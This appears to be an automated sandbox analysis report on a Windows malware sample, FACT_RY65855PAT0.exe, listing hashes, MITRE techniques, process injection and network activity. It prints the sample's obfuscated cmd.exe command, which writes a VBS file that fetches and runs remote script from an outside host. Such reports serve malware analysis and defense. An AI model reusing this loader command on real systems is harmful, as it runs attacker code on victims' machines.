c3b6ff8f7c6b617152a1c42612d4de0dc179ea007bd83ef9ecf28b623798d734

Analysis

max time kernel
307s
max time network
297s
platform
windows10-2004_x64
resource
win10v2004-20230221-es
resource tags

arch:x64arch:x86image:win10v2004-20230221-eslocale:es-esos:windows10-2004-x64systemwindows
submitted
31-03-2023 20:21

Target

FACT_RY65855PAT0.exe
Size

1.8MB
MD5

3d6b870b71fe64e9fab41314f4ff75cf
SHA1

45e91fc8eb9cace7143d06a39166108b5531607a
SHA256

1eeb7c8ef775f5bf2f0e19d3fccc2df475aadb65a039fbdc0593ed48d6ed24ae
SHA512

d093533ca4ca8e82029ef47c4135e15c99494e25d9db3ce49d06fb89cce44ee934288e98b15561b95911522a3f1b5e49f23a853b68389e53caebd7c88194c5d9
SSDEEP

49152:eGj78kv0nmHkhPk0+mzTcg/S1OJqqA0ieped:ZXrv/Hky0RzPSMJ9AQod

Score

8^/10

Blocklisted process makes network request 3 IoCs

Processes:

WScript.exe

flow pid process

41 3816 WScript.exe
43 3816 WScript.exe
46 3816 WScript.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

cmd.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings cmd.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	cmd.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings	cmd.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

FACT_RY65855PAT0.execmd.execmd.execmd.exe

description	pid	process	target process
PID 4436 wrote to memory of 1000	4436	FACT_RY65855PAT0.exe	cmd.exe
PID 4436 wrote to memory of 1000	4436	FACT_RY65855PAT0.exe	cmd.exe
PID 4436 wrote to memory of 1000	4436	FACT_RY65855PAT0.exe	cmd.exe
PID 1000 wrote to memory of 1976	1000	cmd.exe	cmd.exe
PID 1000 wrote to memory of 1976	1000	cmd.exe	cmd.exe
PID 1000 wrote to memory of 1976	1000	cmd.exe	cmd.exe
PID 1976 wrote to memory of 1568	1976	cmd.exe	cmd.exe
PID 1976 wrote to memory of 1568	1976	cmd.exe	cmd.exe
PID 1976 wrote to memory of 1568	1976	cmd.exe	cmd.exe
PID 1568 wrote to memory of 3816	1568	cmd.exe	WScript.exe
PID 1568 wrote to memory of 3816	1568	cmd.exe	WScript.exe
PID 1568 wrote to memory of 3816	1568	cmd.exe	WScript.exe

C:\Users\Admin\AppData\Local\Temp\FACT_RY65855PAT0.exe
"C:\Users\Admin\AppData\Local\Temp\FACT_RY65855PAT0.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4436

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c %ComSpec% /V/D/c "echo mf8=".":hk85=":":gn2="/":GetObject("scripT"+hk85+"https"+hk85+"//mtx"+mf8+"zzux"+mf8+"com/njmr1")>%Public%\h587.vBs&&%ComSpec% /c start %Public%\h587.vBs"
2⤵
- Suspicious use of WriteProcessMemory
PID:1000

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /V/D/c "echo mf8=".":hk85=":":gn2="/":GetObject("scripT"+hk85+"https"+hk85+"//mtx"+mf8+"zzux"+mf8+"com/njmr1")>C:\Users\Public\h587.vBs&&C:\Windows\system32\cmd.exe /c start C:\Users\Public\h587.vBs"
3⤵
- Suspicious use of WriteProcessMemory
PID:1976

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Public\h587.vBs"
5⤵
- Blocklisted process makes network request
PID:3816

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

System Information Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

C:\Users\Public\h587.vBs
Filesize
99B

MD5
0a7ccba24c3dd86e5af2e22e583e974c

SHA1
2dad8b33c4bbcc73cbd61f94d5f17af392c0ebd8

SHA256
9d69d5dd7aea0e2e3f4a18551bc6b1bfa8ab77c528fd1a5a29e3c4baf471c43f

SHA512
c7aabaebd16b16cff069d776ca06810aa60e9c950080c2503deaa93a22bb06b491b0cbaafb5b5917abf9b6e430558356612e08537444e34be0f966c0cd1ab249

Download Submit
memory/4436-133-0x0000000000510000-0x00000000006E8000-memory.dmp

Filesize
1.8MB

Download
memory/4436-150-0x0000000000510000-0x00000000006E8000-memory.dmp

Filesize
1.8MB

Download
memory/4436-151-0x0000000000510000-0x00000000006E8000-memory.dmp

Filesize
1.8MB

Download